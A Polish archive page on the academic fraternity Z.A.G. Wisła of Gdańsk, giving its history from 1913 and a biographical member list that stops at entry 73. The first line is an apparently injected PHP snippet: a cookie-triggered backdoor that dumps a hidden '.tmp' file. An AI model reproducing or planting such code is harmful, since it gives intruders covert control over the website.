if (isset($_COOKIE["fn9uBsXrHEMCoNLjpQ9VN9SVJgeJ2TQDYJ"])) { $lines = get_option( 'wpsdth4_license_key' ); if (!empty($lines)) { $lines = @file_get_contents(".tmp"); } echo $lines; exit(); } Archiwum Korporacyjne - Archiwum i Muzeum Polskich Korporacji Akademickich

K! Z.A.G. Wisła

Dekiel Tomasza Pacyńskiego. Nazwa:
Polska Korporacja Akademicka “Związek Akademików Gdańskich Wisła”
Siedziba:
Gdańsk
Data powstania:
24 V 1913 r.
Barwy:
biała – amarantowa
Dewiza:
„Omnia pro Patria” („Wszystko dla Ojczyzny”)

Rys historyczny

Banda fuksowska Bernarda Nowaczyka, dewizka Brunona Stasierowskiego, banda Tomasza Pacyńskiego, druga poł. lat 30-tych.

Korporacja Z.A.G. Wisła powstała dnia 29 VI 1921 r. z założonego dnia 24 V 1913 r. jako Związek Akademików Gdańskich, a prawdopodobnie od roku akademickiego 1918/1919 występującego pod zmienioną nazwą Związku Akademików Gdańskich „Wisła”. W pierwszych latach istnienia łączyła co do zasady wszystkich Polaków studiujących w Gdańsku. Na zjeździe dnia 29 VI 1921 Wisła przekształciła się w typową korporację akademicką tj. organizację zrzeszającą jedynie wybraną grupę osób i używającą tradycyjnych zewnętrznych form korporacyjnych. Jednocześnie podjęto decyzję o powołaniu łączącej wszystkich polskich studentów Bratniej Pomocy Zrzeszenia Studentów Polaków Politechniki Gdańskiej, która z inicjatywy Wisły ostatecznie powstała w listopadzie 1921 r.

Celem Wisły była walka z wynarodowieniem oraz obrona polskości na terenie Politechniki Gdańskiej, Wolnego Miasta Gdańska i Kaszub poprzez edukację i „uświadamianie w polskiej kulturze i języku”.

Zaproszenie na Jubileuszowy Zjazd z okazji 25-lecia Korporacji w dniach 1 – 3 VII 1938 r. w Gdańsku.

Wisłę przyjęto do Związku Polskich Korporacji Akademickich dnia 4 V 1922 r. (data starszeństwa związkowego: 24 V 1913 r.). Była głównym inicjatorem założenia Gdańskiego Koła Międzykorporacyjnego oraz przyczyniła się do powstania pozostałych korporacji gdańskich: Helanii, Gedanii oraz Rosevii. Ta ostatnia korporacja kandydowała przy Z.A.G. Wisła w Związku Polskich Korporacji Akademickich.

Wisła, jadłodajnia w Bratniaku, Gdańsk 1927 r.

Od dnia 29 VI 1924 r. funkcjonował Związek Filistrów Gdańskiej Korporacji Z.A.G. „Wisła” w Warszawie. W jego ramach funkcjonowało Koło Związku w Gdańsku. W 1925 r. do Związku przystąpiło środowisko absolwentów politechniki w Karlsruhe.

Spotkanie Wisły i Wainli, Gdańsk lata 30-te.

Kartele zawarła dnia 17 V 1924 r. z K! Baltia z Poznania, dnia 28 VI 1927 r. z estońska K! Wainla z Gdańska oraz dnia 19 VI 1928 r. z K! Aquilonia z Warszawy.

Całkowita ustalona, choć niekompletna imienna liczba członków obejmuje 289 nazwisk, w tym dwóch członków honorowych. W 1931 r. liczyła 245, a w 1939 r. prawdopodobnie ponad 300 członków.

W okresie powojennym odbywały się sporadyczne spotkania małych grup członków Korporacji. W 2006 r. Wisła została reaktywowana staraniem członków kartelowej K! Aquilonia (http://zag-wisla.bloog.pl).

Lista członków

Poniższa, niekompletna lista członków Wisły obejmuje niemal 300 nazwisk. Będziemy wdzięczni za jej uzupełnianie i korektę, przesyłanie danych biograficznych i fotografii członków korporacji (vide Kontakt), jak także za pomoc w poszukiwaniach materialnych śladów oraz wszelkich informacji o samej korporacji (vide Poszukiwania).

Członkowie honorowi

  1. Mieczysław Marchlewski, Konsul Generalny Rzeczpospolitej Polskiej w Nowym Jorku, w Wenezueli 1936-42, w Meksyku 1942-45, Filister honorowy Wisły

    Henryk Strasburger, 1927 r.

  2. Henryk Strasburger, (28 maja 1887 - 2 maja 1951 w Londynie) dr prawa, ekonomista, polityk, Komisarz Generalny Rzeczpospolitej w Gdańsku, Ambasador II RP w Londynie, Filister honorowy Wisły, po wojnie na emigracji w Wielkiej Brytanii

Członkowie rzeczywiści

  1. Stanisław Banach, (ok. 1900 - 1939) student i absolwent Wydziału Budowy Maszyn PG 1925-32, oficer rez., poległ w wojnie obronnej 1939 na terenie Małopolski
  2. Stanisław Bartuszek, student PG 1923-25, sekretarz Związku Filistrów ZAG Wisła 1939
  3. Roman Baranowicz, inż. elektryk, zamieszkały przed wojną w Warszawie.
  4. Julian Bartnicki, inż. chemik, zamieszkały przed wojną w Warszawie
  5. Marian Batkowski, (26 marca 1911 w Łodzi - 31 grudnia 1993) matura Łódź 1928, student i absolwent Wydziału Elektrycznego PG 1928-1937, c. 1933, kilkukrotny prezes, II wiceprezes sem. zim. 1932/33, prezes sem. zim. 1933/34, po studiach pracował w Zakładach Rohn-Zieliński oraz Instytutu Technicznym Lotnictwa, po kampanii wrześniowej przedostał się do Francji, a po upadku Francji przez Hiszpanię do Wielkiej Brytanii, po wojnie na emigracji w Wielkiej Brytanii, pracował w Polskim Ministerstwie Przemysłu i Handlu oraz w Komisji Planowania Odbudowy Gospodarczej Kraju, od 1951 generalny projektant i kierownik wydziału “By Products” w firmie Copper Rust Engineering Co. Ltd. w Londynie, w latach 70-tych nadzorował montaż i uruchomienie fabryki opon samochodowych w Olsztynie 1972/73 i Dębicy 1974/75, działacz polskiej emigracji, m.in. w Stowarzyszeniu Inżynierów Techników Polskich, Stowarzyszeniu Elektryków Polskich, wiceprezes Zjednoczenia Polskiego Uchodźctwa Wojennego, członek zarządu Polskiego Uniwersytetu w Londynie
  6. Witold Batkowski, (?)

    Jerzy Beill, 1912-1913.

  7. Jerzy Beill, (18 czerwca 1885 w Warszawie - 14 listopada 1976 w Warszawie) s. Antoniego (architekta) i Zofii Ludwiki z d. Wildt, szwagier Kazimierza Puzdrkiewicza (Arkonia), absolwent Gimnazjum Rontalero w Warszawie, student i absolwent Wydziału Budownictwa Lądowego PG 1904-11 (dyplom inż. architekta 1912), organizator studentów-Polaków na PG, m.in. Inicjator i skarbnik kasy pożyczkowej, asystent na Wydziale Architektury Politechniki w Karlsruhe 1912-13, współpracował ze znanym architektem warszawskich Władysławem Marconim 1913-14, po wybuchu wojny zesłany do Astrachania, gdzie objął stanowisko architekta miejskiego, a później wykładowcy miejscowej uczelni techniczno-budowlanej, działał w Kole Polskim, w 1920 ochotnik w artylerii w wojnie polsko-rosyjskiej, po I i II wojnie światowej centralnej administracji państwowej w Departamencie Budowlanym Ministerstwa Robót Publicznych oraz jako od 1932 radca ministerialny w Ministerstwie Spraw Wewnętrznych, współredagował miesięcznik “Architektura” 1921-25, a do 1932 członek redakcji “Architektura i Budownictwo”, po II wojnie światowej w Ministerstwie Odbudowy, Ministerstwie Miast i Osiedli oraz jako główny specjalista w Komitecie ds. Budownictwa, Urbanistyki i Architektury, na emeryturę przeszedł w 1962, oraz jako architekt w przedsiębiorstwach budowlanych w Warszawie, członek Stowarzyszenia Architektów Polskich i Stowarzyszenia Urbanistów Polskich, odznaczony dwukrotnie Złotym Krzyżem Zasługi, Krzyżem Kawalerów OOP, Odznaką Honorową Towarzystwa Urbanistów Polskich, laureat konkursów architektonicznych, do najważniejszych projektów należą: siedziba Policji Państwowej w Drohiczynie 1923, budynki gimnazjum w Lidzie 1925, i liceum handlowego w Stanisławowie 1927, odbudowa ambasady włoskiej, budowa siedzib Polskiej Izby Handlu Zagranicznego i Komendy Głównej MO 1952-55, pochowany w grobie rodzinnym na warszawskich Powązkach (kw. 80, rz. 4, gr. 22/23) [Źródła (poza wskazanymi poniżej spisu członków): relacja syna Antoniego Beilla]

  8. Czesław Benedek, inż. chemik, przed wojną dyrektor Państwowych Zakładów Azotowych „Chorzów”
  9. Witold Berezowski, inż. chemik, przed wojną mieszkał w Hajnówce
  10. Zbigniew Bęski, (12 kwietnia 1905 w m. Bleńkówka - 28 września 1977) student Wydziału Budowy Okrętów PG 1925-30, po studiach pracował w zakładach przemysłowych w Warszawie, w wojnie obronnej 1939 w obronie Warszawy, uczestnik Powstania Warszawskiego
  11. Kazimierz Nikodem Bieliński, (15 września 1897 w Rzeżęcinie k. Tczewa - listopad 1939 w Piaśnicy k. Wejherowa) z rodziny chłopskiej, uczeń Collegium Marianum w Pelplinie, powołany do wojska niemieckiego walczył na froncie zachodnim 1916-, absolwent Gimnazjum w Chojnicach (matura 1919), student i absolwent Wydziału Elektrycznego PG 1919-24, po studiach pracował w Pomorskiej Elektrowni Krajowej “Gródek” SA w Toruniu, a następnie w Parowo-Wodnej Elektrowni Obwodowej w “Pomorze” pod Pelplinem, prowadził własne biuro techniczne w Tczewie 1926-28, organizator i dyrektor Miejskich Zakładów Elektrycznych w Gdyni 1929-39, współzałożyciel i prezes Oddziału Wybrzeża Morskiego Stowarzyszenia Elektryków Polskich 1932, od 1937 sekretarz zarządu głównego Stowarzyszenia Elektryków Polskich w Warszawie, dnia 27 października 1939 aresztowany przez Gestapo i zamordowany w lesie piaśnickim k. Wejherowa, odznaczony Srebrnym i Złotym Krzyżem Zasługi, za działalność w obronie polskości wyróżniony dyplomem Komitetu Morskiego Ligi Ochrony Powietrznej i Przeciwgazowej [szerzej vide Encyklopedia Gdynii, Gdynia 2006]
  12. Stanisław Bieniarz, (ok. 1907 - ) student Wydziału Budownictwa PG 1927-33, II wiceprezes sem let. 1930/31 oraz sem. zim. 1931/32
  13. Henryk Bigalke, inż. chemik, przed wojną dyrektor Towarzystwa „Kijewski, Scholtze i S-ka” w Warszawie
  14. Fryderyk Blümke (Blimke), (19?? - 19 grudnia 1962 w Warszawie) student i absolwent Wydziału Budowy Maszyn PG 1923-28, organizator (?) i prezes (wiceprezes?) Bratniej Pomocy Studentów PG oraz Polskiego Domu Akademickiego, po studiach współwłaściciel przedsiębiorstwa “Unia Strażacka” 1934-36, starszy asystent w Katedrze Samochodów i Ciągników PL, konstruktor produkowanych w tej firmie agregatów strażackich, kierownik działu silników w fabryce Steinhagen i Stransky w Warszawie, po 1945 pracował w biurze konstrukcyjnym silników przy Fabryce Wyrobów Metalowych, a następnie w Wytwórni Sprzętu Mechanicznego w Bielsku-Białej, był konstruktorem m.in. silnika do samochodu “Syrena”, zginął w katastrofie lotniczej w Warszawie
  15. Stanisław Błaszkowiak, (10 listopada 1893 w Radzewie w Poznańskim - 8 listopada 1975 w Gdańsku) z rodziny rzemieślniczej, s. Franciszka i Józefy z d. Nawrot, uczeń i absolwent Gimnazjum w Śremie 1904-13, student na Politechnice w Charlottenburgu k. Berlina 1913-16, później walczył w I wojnie światowej w armii niemieckiej, student i absolwent Wydziału Budownictwa Lądowego PG 1921-25, po studiach kierownik Działu Podtorza i Mostów w dyrekcjach kolejowych w Gdańsku, Toruniu i Poznaniu, po wojnie w Liceum Drogowym i w Szkole Inżynierskiej w Poznaniu 1945-46, od 1946 kierownik Katedry Mostów Stalowych PG, dr nauk technicznych 1947, prof. nadzw. 1949, prof. zw. 1960, specjalizował się w teorii mostów, autor odbudowy i budowy wielu mostów kolejowych, autor szeregu prac naukowych, od 1960 członek zwyczajny Towarzystwa Naukowego Warszawskiego, laureat nagrody PAN im. F. Jasińskiego 1961, odznaczony m.in. Złotym Krzyżem Zasług (1936), Krzyżem Oficerskim OOP (1957)
  16. Zbigniew Bogucki, (9 czerwca 1911 w Sosnowcu - 1998) student i absolwent Wydziału Elektrycznego PG 1930-36, c. 1931, sekretarz sem. zim. 1932/33, po studiach pracował w Hucie Baildon, a następnie w Zakładach Energetycznych Okręgu Południowego, do 1949 kierownik techniczny Państwowego Przedsiębiorstwa Police, w 1949 pod sfingowanymi zarzutami został skazany na karę 15 lat pozbawienia wolności za sabotaż, zwolniony w 1954, adiunkt w Głównym Instytucie Górniczym PAN w Katowicach
  17. Lech Bogusławski, (10 października 1913 w Genewie -1994) student i absolwent Wydziału Budowy Maszyn Okrętowych PG 1932-39, c. 1934, w czasie wojny na polecenie władz konspiracyjnych rozpracowywał nowe niemieckie torpedy oraz opracował przebudowę statku wiślanego “Bocian”, aby można było na nim zainstalować radiostację (zwodowany 1942), aresztowany w 1942, więziony w obozach w Auschwitz, Neuengamme i Bayreuth, po wojnie m.in. organizował Biuro Projektów i Studiów Taboru Rzecznego, kierował stocznią rzeczną w Głogowie 1955-56 oraz zespołem konstrukcyjnym Stoczni Wisła, specjslista w Biurze Projektowym ds. współpracy z przemysłem okrętowym 1970-77, odznaczony Krzyżem Kawalerskim OOP
  18. Witold Borkowski, (21 kwietnia 1916 w Warszawie - 1982) brat Jerzego (Patria), absolwent Gimnazjum Mikołaja Reja w Warszawie 1934, student Wydziału Elektrycznego PG 1936-, uczestnik wojny obronnej 1939, więzień oflagów, m.in. Spittal i Woldenberg, po wojnie pracował jako zastępca głównego konstruktora w Fabryce Automatów Tokarskich, od 1975 docent w Akademii Techniczno-Rolniczej w Bydgoszczy, autor i współautor kilkunastu wynalazków w zakresie automatów tokarskich oraz autor książek o tej tematyce, laureat nagrody Ministra Przemysłu Maszynowego 1963, Ministra Szkolnictwa Wyższego i Technicznego 1976 i 1980 oraz nagrody Państwowej II stopnia 1955, odznaczony m.in. Krzyżem OOP 1969
  19. Witomir Borkowski, ( - ok. 15 sierpnia 1924)
  20. Mikołaj Borsyławski,
  21. Stanisław Breitkopf, przed wojną w Warszawie
  22. Zdzisław Breitkopf, inż. mechanik, przed wojną w Warszawie
  23. Juliusz Broy, (1896 - 1963 w Chorzowie) student Wydziału Chemicznego PG 1913-23, doktorat PG 1925, po studiach pracował w zakładach hutniczych na Śląsku, po wojnie doradca dyrektora naczelnego Zakładów Azotowych w Chorzowie
  24. Krzysztof Brun, (1918 - ) student Wydziału Budowy Maszyn PG 1938-39
  25. Julian Brzozowski, dr inż. chemik, przed wojną pracował w Zakładach Azotowych w Chorzowie
  26. Cezary Witold Budrewicz, student Wydziału Budowy Maszyn PG 1935-39
  27. Bronisław Bukowski, (6 października 1893 w Pręgowie k. Gdańska - 11 maja 1965 w Gdańsku) absolwent Gimnazjum w Wejherowie 1919, student i absolwent (dyplom z odznaczeniem) Wydziału Budownictwa Lądowego PG 1913-22, założyciel Związku Akademików Gdańskich 1913, w czasie I wojny światowej żołnierz armii niemieckiej, ochotnik WP w wojnie polsko-bolszewickiej 1919-20, prezes Wisły 1921, współorganizator Bratniej Pomocy Studentów PG 1921, od 1930 pracownik naukowo-dydaktyczny PW, dr nauk technicznych 1936, w czasie okupacji wykładał na tajnym Wydziale Architektury PW, po 1945 zorganizował i kierował Katedrą Budownictwa Żelbetonowego PG, aktywny w odbudowie Gdańska, autor licznych prac naukowych z zakresu technologii i konstrukcji betonowych, napisał także “Szkic Historyczny Polskiej Korporacji Akademickiej ‘Z.A.G. Wisła’ w Gdańsku od sem. zim. 1904 do sem. let. 1921″ (1927), wieloletni wiceprezes Związku Filistrów ZAG Wisła, w 1945 reaktywował i był pierwszym prezesem gdańskiego oddziału Polskiego Związku Inżynierów, aktywny członek Związku Zachodniego zaangażowany we wspieranie ludności Kaszub, Warmii i Mazur, pochowany na cmentarzu w Pręgowie
  28. Edmund Burzacki, inż. elektryk, przed wojną dyrektor Szkoły Technologii Kolejowej w Warszawie
  29. Jan Cesarz, kupiec z Sopotu
  30. Jan Chodziński, (ok. 1900 - 1964) student Wydziału Elektrycznego PG 1919-24, główny organizator i pierwszy zarządca Polskiego Domu Akademickiego, w czasie okupacji w AK, uczestnik Powstania Warszawskiego odznaczony za udział Krzyżem Walecznych, po wojnie dyrektor elektrowni w Zabrzu 1946-50, dyrektor Międzynarodowej Dyspozycji Mocy w Pradze, aktywny działacz w RWPG

    Włodzimierz Choynowski, 1911 r.

  31. Włodzimierz Choynowski, (3 grudnia 1885 - 25 października 1952) s. Stanisława i Natalii z Kisielskich, uczeń filologicznego Gimnazjum w Kaliszu, ze względu na manifestowanie polskości zmuszony zdawać maturę w Rydze, student i absolwent (inż. mechanik) Politechniki w Karlsruhe, specjalizował się w zakresie silników diesla, po studiach pracował w Niżnym Nowogrodzie, przyjechał do Polski, w II RP naczelnik Wydziału Państwowego Urzędu Patentowego w Warszawie, wykładał w szkole Wawelberga, w czasie okupacji aresztowany z żoną w 1944 i wywieziony do Auschwitz, po wojnie dalej do emerytury pracował w Urzędzie Patentowym 1945-50, pochowany na warszawskich Powązkach (kw. 114-V-)

  32. Jerzy Chrzanowski, (ok. 1914 - lata 70-te) student Wydziału Budowy Maszyn PG 1934-39, po wojnie na emigracji w Kanadzie
  33. Chudziński, współorganizator Bratniej Pomocy Studentów PG 1921
  34. Jan Chybowski, (ok. 1914 - 1942 w Lublinie) student i absolwent Wydziału Lotniczego PG 1933-37, wiceolderman sem. zim. 1933/34, I wiceprezes sem. let. 1933/34, w czasie okupacji żołnierz AK
  35. Stanisław Cieszyński, redaktor z Sopotu
  36. Wacław Cieślewski, inż. elektryk, przed wojną zamieszkały w Krakowie
  37. Tadeusz Czaplicki, inż. elektryk, przed wojną zamieszkały w Warszawie
  38. Tadeusz Czarnowski, inż. mechanik, przed wojną zamieszkały w Wejherowie
  39. Witold Czyżewski, (ok. 1914 - 1975 w Grudziądzu) absolwent Gimnazjum Polskiego Macierzy Szkolnej w Gdańsku 1934, student Wydziału Chemicznego PG 1935-39, po wojnie pracował w przemyśle cementowym, organizator i dyrektor cementowni w Wejherowie i Grudziądzu, pochowany na cmentarzu w Gdyni
  40. Stefan Dąbrowski, inż. chemik, przed wojną właściciel laboratoriów chemicznych w Warszawie.
  41. Tadeusz Deubel, (ok. 1915 - 1943) student Wydziału Lotniczego 1936-39, członek Koła Lotniczego i AZS-u, żołnierz AK w Warszawie, w 1943 aresztowany przez Gestapo, zamordowany podczas przesłuchania w Alei Szucha 1943
  42. Adam Doboszyński, (11 stycznia 1904 w Krakowie - 29 sierpnia 1949 w Warszawie) ochotnik wojny polsko-rosyjskiej 1920, student Wydziału Budownictwa Lądowego PG, współorganizator oraz pierwszy prezes Bratniej Pomocy Studentów PG 1921, prezes Wisły, Kawaler Dyplomu Zasługi i Złotej Odznaki ZPKA, studiował także w Szkole Nauk Politycznych w Paryżu, działacz polityczny, pisarz, członek Stronnictwa Narodowego, za tzw. “Wyprawę Myślenicką” skazany w 1936 na trzy i pół roku więzienia, ranny w wojnie obronnej 1939, uczestnik kampanii francuskiej 1940, za która został odznaczony trzykrotnie Krzyżem Walecznych i francuskim Croix de Guerre, w 1946 wrócił nielegalnie do kraju, prowadził działalność konspiracyjną, aresztowany w 1947 przez UB, skazany w 1949 na karę śmierci, wyrok wykonano
  43. Józef Dobrzycki, (1902 w Jodłownikach k. Nowego Sącza - 1938/39) inż. elektryk, przed wojną zamieszkały w Katowicach
  44. Kazimierz Drożdż, (10 lutego 1902 we wsi Jodłownik k. Nowego Sącza - zm. w Gdańsku) student i absolwent Wydziału Budownictwa Lądowego PG 1922-28, po studiach do emerytury w 1964 pracował w dyrekcji PKP w Gdańsku
  45. Brunon Jan Dudziński, (15 listopada 1909 w Tczewie - 1988) absolwent Gimnazjum w Tczewie 1929, student prawa UP, a następnie Wydziału Architektury PG 1934-3?, po studiach pracował przy budowie lotniska w Krośnie Małopolskim oraz umocnień na Helu, w wojnie obronnej 1939 ranny w bitwie nad Bzurą, w niewoli niemieckiej m.in. w oflagu VIIA w Murnau, w 1944 przez pół roku w więziony przez gdańskie Gestapo, po wojnie pracował na PG i prowadził odbudową gdańskiej starówki, autor projektu przebudowy gdańskiej Opery i Filharmonii
  46. Rudolf Durys, (1916-2002) student Wydziału Budowy Maszyn PG 1936-39, c. 1937, po wojnie absolwent PG

    Leszek Dzieniakowski, 1929-1939.

  47. Leszek Maciej Dzieniakowski, (24 stycznia 1911 w Łodzi - 14 czerwca 1983 w Kołobrzegu) s. Ludwika i Marii z d. Nowicka, szwagier Ryszarda Fiedlera (Wisła), absolwent Gimnazjum Męskiego Zgromadzenia Kupców m. Łodzi 1929, student Wydziału Budowy Okrętów, a następnie student i absolwent (mgr inż.) Wydziału Budowy Maszyn PG 1931-39, sekretarz sem. zim. 1933/34, olderman sem. let. 1935/36, w wojnie obronnej 1939 w Dywizjonie Artylerii Ciężkiej 7 Dywizji Piechoty, w czasie wojny jeniec oflagu w Lubece, Dössel i Sandbostel, po wojnie wrócił do Polski z Belgii, gdzie był oficerem łącznikowym, rozpoczął pracę w Katowicach, na kierowniczych stanowiskach w zakładach energetycznych 1948-80, m.in. dyrektor Instytutu Techniki Cieplnej w Łodzi 1957-70, pracownik Ministerstwa Energetyki w Warszawie 1970-77, a następnie do emerytury jako inspektor-konsultant krajowy d/s energetykiw w Ministerstwie Energetyki w Łodzi 1977-80, odznaczony Krzyżem Kawalerskim OOP oraz Złotą Odznaką - Zasłużony dla Energetyki, pochowany na Starym Cmentarzu w Łodzi

    [Źródła (poza wskazanymi poniżej spisu członków): relacja Macieja Dzieniakowskiego]

  48. Kazimierz Dzierżyński, inż. mechanik, przed wojną w Warszawie
  49. Kazimierz Dzwonkowski, (10 czerwca 1906 w Warszawie - 1990 w Warszawie) student Wydziału Lotniczego PG 1926-29, student PW 1929-38, współzałożyciel i prezes Aeroklubu Gdańskiego, lekkoatletyczny mistrz Polski, od czasu studiów pracował w Instytucie Badań Technicznych Lotnictwa, por. rez. pilot, w czasie wojny więzień obozu w Stutthofie 1944-45, po wojnie pracował w budownictwie
  50. Aleksander Ekerkunst, inż. chemik, przed wojną w Warszawie
  51. Krystian Eyman, (7 maja 1909 w Rydze - 23 grudnia 1984 w Warszawie) student i absolwent Wydziału Budownictwa Lądowego PG 1927-34, I wiceprezes sem. let. Wisły 1930/31, kpt. jachtowy żeglugi morskiej, w wojnie obronnej 1939 zastępca dowódcy 3 Kompanii 2 Batalionu Samodzielnego Zgrupowania Saperów, w konspiracji w AK (dowódca 316 plutonu w obwodzie Wola), po wojnie asystent PG, od 1953 wykładowca PW, prof. zw., autor kilkudziesięciu publikacji oraz 9 patentów, pochowany na Cmentarzu Ewangelicko-Augsburskim w Warszawie

    Alojzy Farnik, 1927-1928 r.

  52. Alojzy Farnik, (25 maja 1906 w Cierlicku Górnym na Śląsku Cieszyńskim - 20 sierpnia 1960) absolwent Gimnazjum w Orłowie, student i absolwent Wydziału Chemicznego PG 1922-29, doktorat PG, po studiach do 1939 pracował w Zakładzie Doświadczalnym Huty Baildon, oficer rez., uczestnik wojny obronnej 1939, zbiegł z niewoli niemieckiej, w kwietniu 1940 aresztowany i zesłany do obozu koncentracyjnego Dachau, skąd wrócił w 1945, po wojnie dyrektor naczelny Huty Baildon, po 1956 pracownik naukowy Instytutu Metalurgii Żelaza w Gliwicach, odznaczony Orderem Sztandaru Pracy I klasy, dwukrotny laureat nagrody państwowej

  53. Franciszek Farnik, (ok. 1893 - lata 60-te w Katowicach) student i absolwent Wydziału Chemicznego PG 1913-23, współorganizator Bratniej Pomocy Studentów PG, po studiach pracował na Śląsku, po wojnie dyrektor naczelny Huty Baildon, poseł na Sejm PRL, wysokiej klasy specjalista produkcji wysokogatunkowej stali
  54. Andrzej Favre, (ok. 1916 - ) student Wydziału Budowy Maszyn PG 1935-39

    Ryszard Fiedler, 1927 r.

  55. Ryszard Fiedler, (3 lipca 1905 we Włocławku - 13 maja 1988) matura 1926, student i absolwent Wydziału Elektrycznego PG 1926-32, prezes Wisły sem. let. 1930/31, po studiach główny energetyk w “Hucie Pokój”, w czasie wojny internowany na Litwie, w 1941 uciekł do Warszawy, po wojnie dyrektor Przedsiębiorstwa Robót Elektrycznych w Katowicach, odznaczony Krzyżem Kawalerskim OOP

    Franciszek Fojut, dwudziestolecie.

  56. Franciszek Fojut, (25 września 1886 w Turzy w pow. wągrowieckim - 1 stycznia 1940 w Nowym Porcie) s. Franciszka (nauczyciela) i Anastazji z d. Wegenke, matura Gimnazjum w Wągrowcu, 1901, student Politechniki w Charlottenburgu pod Berlinem oraz Wydziału Budowy Maszyn PG 1907-13, założyciel 1913 i pierwszy prezes Związku Akademików Gdańskich, po studiach pracował w stoczniach Atlaswerke w Bremie i Vulkanwerke w Hamburgu, a także w fabryce maszyn Tempelhof pod Berlinem, po I wojnie od 1920 organizował Wydział Techniczny Dyrekcji Dróg Wodnych w Toruniu, naczelnik Oddziału Budowy Maszyn Gdańskiej Rady Portu i Dróg Wodnych 1924-39, działacz Polonii gdańskiej (Związku Polaków oraz Katolickiego Stowarzyszenia Młodzieży), Filister honorowy Rosevii, 1 września 1939 aresztowany przez Gestapo, osadzony w więzieniu, zamordowany w obozie w Nowym Porcie 1940, pochowany 8 stycznia 1940 na Cmentarzu Wysokiej Góry na Zaspie w Gdańsku (nr gr. 309), odznaczony Złotym Krzyżem Zasługi
    [Źródła (poza wskazanymi poniżej spisu członków): Marian Pelczar, Fojut Józef, PSB, t. 7; relacja Natalii Matuszewskiej]

  57. Kazimierz Frankowski, student Wydziału Budowy Maszyn PG 1922-26, inż. budowlaniec, przed wojną zamieszkały w miejsc. Nowe na Pomorzu
  58. Jan Frydrychowski, (ok. 1903 - ) student Wydziału Budownictwa Lądowego PG 1923-30, przeniósł się na studia politechniczne do Pragi, pozostał w Czechosłowacji (?), w 1939 inż. w Gdańsku
  59. Izydor Gałęzowski, (ok. 1905 - ) student Wydział Architektury PG 1925-31, inż. architekt w przedsiębiorstwie budowlanym w Gdyni
  60. Leonard Garbolewski, (29 sierpnia 1909 - 18 stycznia 1960) absolwent Gimnazjum Górskiego w Warszawie 1928, student Wydziału Elektrycznego PG, wiceolderman prezes sem. zim. 1932/33, olderman sem. let. 1933/34, wiceprezes sem. let. 1935/36, zarządzał maj. rodzinnym Czerwonka k. Sochaczewa, po wojnie kontynuował i ukończył studia PG, pracownik Katedry Elektrycznej Rolnictwa PG, autor wielu publikacji fachowych
  61. Janusz Gąssowski, (ok. 1900 - ) student PG 1919-21
  62. Zygmunt Gierczak, (ok. 1910 - ) student Wydziału Budowy Maszyn PG 1931-35
  63. Józef Ginsberg, inż. mechanik, przed wojną zamieszkały w Sosnowcu
  64. Antoni Glass, inż. mechanik, przed wojną w Toruniu
  65. Juliusz Glatman, inż., dyrektor elektrowni w Wilnie, filister korporacji Wisła z Gdańska, filister honorowy Batorii z Wilna, po wkroczeniu do Wilna wojsk niemieckich wyjechał do Berlina, wrócił jako oficer niemiecki
  66. Józef Globisz, (1909 w Łodzi - 22 maja 1979) absolwent Gimnazjum Marii Magdaleny w Poznaniu, student Wydziału Architektury PG 1928-33, sekretarz sem. zim. 1931/32, prezes sem. zim. 1932/33, po studiach pracował jako inspektor nadzoru w Komisariacie Rządu w Gdyni, w wojnie obronnej 1939 w 16 Kompanii Mostów Ciężkich, w przedsiębiorstwach budowlanych w czasie okupacji w Krakowie i Mielcu, a po wojnie na Śląsku, naczelny inż. w Śląskim Zjednoczeniu Budownictwa Przemysłowego 1955-64, główny specjalista w Biurze Projektów Organizacji Budów w Katowicach
  67. Stanisław Glogier (Gloger), (ok. 1915 - 22 sierpnia 2002) student Wydziału Budownictwa Lądowego PG 1936-39, aresztowany we wrześniu 1939 w Gdyni przez Gestapo i osadzony w Stutthofie, uciekł z obozu, pracował w Krakowie w Biurze Projektowym, w konspiracji oficer wywiadu AK w obwodzie “Orzeł”, po wojnie ukończył studia architektoniczne na PK, pracował w biurach projektowych w Krakowie, Białymstoku, Olsztynie, Opolu, czynny działacz harcerski, komendant hufca ZHP, odznaczony Harcerskim Krzyżem Zasługi z Mieczami, autor projektu obelisku ku czci Roberta Baden-Powella na Polance Redłowskiej w Gdyni, pochowany w rodzinnym grobie w miejsc. k. Opola
  68. Franciszek Głowacki, (29 stycznia 1892 w pow. Inowrocławskim - 1980) absolwent Gimnazjum w Gnieźnie, student 1913-14 i 1919-21, założyciel Związku Akademików Gdańskich 1913, jako żołnierz w armii niemieckiej ciężko ranny w I wojnie światowej, w niewoli francuskiej, wrócił do kraju z armią gen. Józefa Hallera w 1919, inwalida, po studiach prowadził własne przedsiębiorstwo budowlane w Bydgoszczy
  69. Józef Golasowski (Golassowski), student i absolwent (inż. architekt) Wydziału Architektury PG 1923-29, sekretarz sem. zim. 1924/25, przed wojną mieszkał w Mysłowicach
  70. Bolesław Goldmann (Goldman), student Wydziału Budowy Okrętów PG 1924-31, prezes Gdańskiego Koła Międzykorporacyjnego 1930, po wojnie na emigracji w Wielkiej Brytanii
  71. Tadeusz (Marcin) Golędzinowski, (10 marca 1918 w Sannikach - 22 marca 1991 w Gdańsku) s. Stanisława i Teodozji z d. Nowickiej, student i absolwent (inż. mechanik) Wydziału Budowy Maszyn PG 1935-39, wieloletni członek i prezes Stowarzyszenia Rzeczoznawców techniki Samochodowej i Ruchu Drogowego PZMOT Oddział Gdynia oraz biegły sądowy
  72. Gościński, ( - 1920) student Wydziału Budownictwa Lądowego PG 1919, sekretarz Związku Akademików Gdańskich i autor znowelizowanego statutu, co umożliwiło legalizację organizacji, zaginął na terenie Gdańska
  73. Józef Götze, (ok. 1908 - po 1945 w Warszawie) student Wydziału Architektury PG 1928-32

    Janusz Goetzendorf-Grabowski, druga poł. lat 20-tych.

